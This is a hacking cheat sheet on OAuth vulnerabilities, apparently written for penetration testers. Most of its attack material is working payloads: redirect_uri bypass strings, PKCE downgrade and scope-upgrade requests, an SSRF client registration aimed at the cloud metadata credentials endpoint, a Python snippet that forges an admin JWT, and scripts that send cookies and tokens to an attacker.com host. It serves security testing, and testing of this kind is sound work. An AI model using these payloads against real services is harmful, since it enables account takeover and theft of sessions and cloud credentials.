OAuth Vulnerabilities¶
TL;DR¶
OAuth misconfigurations enable token theft and account takeover through redirect_uri manipulation, state parameter abuse, and improper token validation.
OAuth Flow¶
1. User β SP: "Login with Provider"
2. SP β IdP: Authorization request + redirect_uri
3. IdP β User: "Allow access?"
4. User β IdP: "Yes"
5. IdP β redirect_uri: code/token
6. SP β IdP: Exchange code for token
7. SP β User: Logged in
Key Parameters:
- redirect_uri β Where tokens are sent
- state β CSRF protection
- response_type β code, token, or id_token
- client_id / client_secret β App credentials
- scope β Permissions requested
Exploitation¶
1. redirect_uri Manipulation¶
Open redirect β Token theft:
GET /oauth/authorize?
client_id=APP_ID&
redirect_uri=https://evil.com/callback&
response_type=code&
scope=read
Bypass Techniques:
# Path traversal
redirect_uri=https://legit.com/callback/../../../evil
redirect_uri=https://legit.com/callback/..%2f..%2fevil
# Subdomain confusion
redirect_uri=https://evil.legit.com/callback
redirect_uri=https://legit.com.evil.com/callback
# URL parsing exploits
redirect_uri=https://legit.com@evil.com
redirect_uri=https://evil.com#legit.com
redirect_uri=https://legit.com%00.evil.com
# Case sensitivity
redirect_uri=https://LEGIT.COM/callback
# Unicode
redirect_uri=https://lΠ΅git.com/callback # Cyrillic 'Π΅'
2. State Parameter Attacks¶
Missing state (CSRF): 1. Attacker initiates OAuth, captures code before completion 2. Victim clicks attacker's link with captured code 3. Victim's account linked to attacker's identity
Predictable/static state:
3. Token Leakage¶
Referer header:
<!-- External resources leak token via Referer -->
<img src="https://evil.com/track.gif">
<!-- Referer: https://target.com/callback?code=SECRET -->
XSS on callback domain:
4. Client Credentials Exposure¶
Search for leaked secrets:
# Mobile apps
strings app.apk | grep -i "client_secret"
# JavaScript bundles
grep -r "client_secret" *.js
Exploit:
POST /oauth/token
code=STOLEN_CODE&
client_id=LEAKED_ID&
client_secret=LEAKED_SECRET&
grant_type=authorization_code
5. Pre-Account Takeover¶
Classic-Federated Merge: 1. Register classic account with victim's email (unverified) 2. Victim signs up with OAuth using same email 3. Insecure merge leaves attacker with access
6. Cross-App Token Abuse¶
# Token from App A used against App B
POST /api/login
Authorization: Bearer TOKEN_FROM_DIFFERENT_APP
Bypasses¶
Response Mode Manipulation¶
response_mode=query # ?code=xxx
response_mode=fragment # #code=xxx
response_mode=form_post # POST body
response_mode=web_message # postMessage
Prompt Bypass¶
Real Examples¶
pixiv/booth.pm (Path traversal):
redirect_uri=https://booth.pm/users/auth/pixiv/callback/../../../../ja/items/[attacker-product]
# Code leaked via Google Analytics referrer
Shopify unverified email linking:
Checklist¶
- Test redirect_uri manipulation (paths, subdomains, encoding)
- Check state parameter presence and validation
- Test with unverified email accounts
- Look for code/token in URLs (Referer leak)
- Check client_secret exposure in apps/JS
- Test cross-app token reuse
- Verify audience claim validation
- Test prompt parameter manipulation
- Check response_mode variations
- Test clickjacking on consent dialogs
Discovery¶
# Find OAuth endpoints
curl https://target.com/.well-known/openid-configuration
# Search JS for OAuth params
grep -rE "oauth|authorize|callback|redirect_uri" *.js
Advanced OAuth Attacks¶
Dynamic Client Registration β SSRF¶
If /.well-known/openid-configuration exposes a registration_endpoint, the server may fetch URIs you provide during client registration:
# Check for dynamic client registration
curl -s https://oauth-server.example.com/.well-known/openid-configuration | jq .registration_endpoint
# Register a malicious client
POST /connect/register HTTP/1.1
Content-Type: application/json
{
"redirect_uris": ["https://legitimate.example.com/callback"],
"logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"jwks_uri": "https://attacker.com/jwks.json",
"sector_identifier_uri": "https://attacker.com/sector.json",
"request_uris": ["https://attacker.com/request.jwt"]
}
SSRF-sensitive parameters and when they're fetched:
| Parameter | Fetched when | Type |
|---|---|---|
logo_uri |
Consent page rendered | Full SSRF (response visible) |
sector_identifier_uri |
On registration or auth flow | Semi-blind |
jwks_uri |
Token exchange with client_assertion JWT |
Blind SSRF |
request_uris |
/authorize?request_uri=... |
Blind SSRF |
Dynamic Client Registration β XSS via logo_uri¶
Some servers fetch logo_uri and render the response without sanitizing Content-Type:
Host xss.html with <script>fetch('https://attacker.com/?c='+document.cookie)</script>. If rendered in the OAuth server's domain context β token/session theft. (CVE-2021-26715 β MITREid Connect)
PKCE Downgrade Attack¶
Variant 1 β Omit code_verifier at token exchange:
POST /token HTTP/1.1
grant_type=authorization_code
&code=AUTH_CODE
&redirect_uri=https://app.com/callback
&client_id=CLIENT
# code_verifier absent β if server accepts β PKCE bypassed
Variant 2 β Omit code_challenge from authorization (CVE-2024-23647, Authentik < 2023.10.7):
GET /authorize?response_type=code&client_id=CLIENT
&redirect_uri=https://app.com/callback
# No code_challenge β server doesn't track PKCE requirement
# At token exchange: omit code_verifier β accepted
redirect_uri β Parameter Pollution¶
GET /authorize?client_id=123
&redirect_uri=https://client-app.com/callback
&redirect_uri=https://evil.com
# Some servers take the last parameter β evil.com
response_mode Manipulation¶
response_mode=web_message # Often allows wider origin range
response_mode=fragment # Token in URL fragment β leaks via Referer
response_mode=form_post # POST body β harder to leak via Referer
Token Leakage via Referer¶
If the callback page loads external resources (analytics, CDN, third-party scripts):
# 1. Monitor Network tab during OAuth callback
# 2. Check Referer headers on outbound requests
# 3. Any request with Referer: .../callback?code=XYZ β code leaked to third party
Implicit flow (response_type=token) puts token in fragment β less often leaked via Referer but XSS on the callback domain can capture it:
OAuth + postMessage Token Exfiltration¶
If a redirect target page uses postMessage to pass a token to a parent and doesn't validate origin:
<!-- attacker.com/steal.html -->
<iframe src="https://client-app.com/widget/share#access_token=placeholder"></iframe>
<script>
window.addEventListener('message', function(e) {
fetch('https://attacker.com/log?t=' + JSON.stringify(e.data));
});
</script>
Force redirect to the vulnerable page via path traversal on redirect_uri:
Scope Upgrade at Token Exchange¶
POST /oauth/token HTTP/1.1
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&code=AUTH_CODE
&redirect_uri=https://client-app.com/callback
&scope=openid email profile admin write:all
# Scope larger than what user originally approved
# Some servers don't validate against original authorization request
JWT Algorithm Confusion (RS256 β HS256)¶
If the server signs access tokens with RS256 but accepts HS256:
import jwt
pub_key_pem = "-----BEGIN PUBLIC KEY-----\n...\n-----END PUBLIC KEY-----"
payload = {
"sub": "admin",
"scope": "openid email profile admin",
"iss": "https://oauth-server.com",
"exp": 9999999999
}
forged_token = jwt.encode(payload, pub_key_pem, algorithm='HS256')
The server uses its RSA public key to verify HMAC-SHA256 β same key β verification passes.
WebFinger β User Enumeration¶
If the OAuth server exposes /.well-known/webfinger:
# Valid user: returns 200
# Invalid user: returns 404
curl -s "https://oauth-server.com/.well-known/webfinger?resource=http://x/admin&rel=http://openid.net/specs/connect/1.0/issuer"
request_uri SSRF (OpenID Connect)¶
# Check support
curl -s https://oauth-server.com/.well-known/openid-configuration | jq .request_uri_parameter_supported
# If true: register request_uri pointing to your server
GET /authorize?response_type=code&client_id=CLIENT
&request_uri=https://attacker.burpcollaborator.net/request.jwt
# β Server fetches your URL = SSRF
Advanced Checklist¶
- Check
/.well-known/openid-configurationfor registration endpoint - Test dynamic client registration with SSRF URIs (logo_uri, jwks_uri)
- Test PKCE downgrade (omit code_challenge / code_verifier)
- Test double
redirect_uriparameter pollution - Test
response_mode=web_messagefor origin bypass - Check Referer leakage on callback pages with external resources
- Test scope upgrade at token exchange
- Check algorithm confusion (RS256βHS256) if JWT access tokens
- Test WebFinger for user enumeration
- Test
request_uriparameter if supported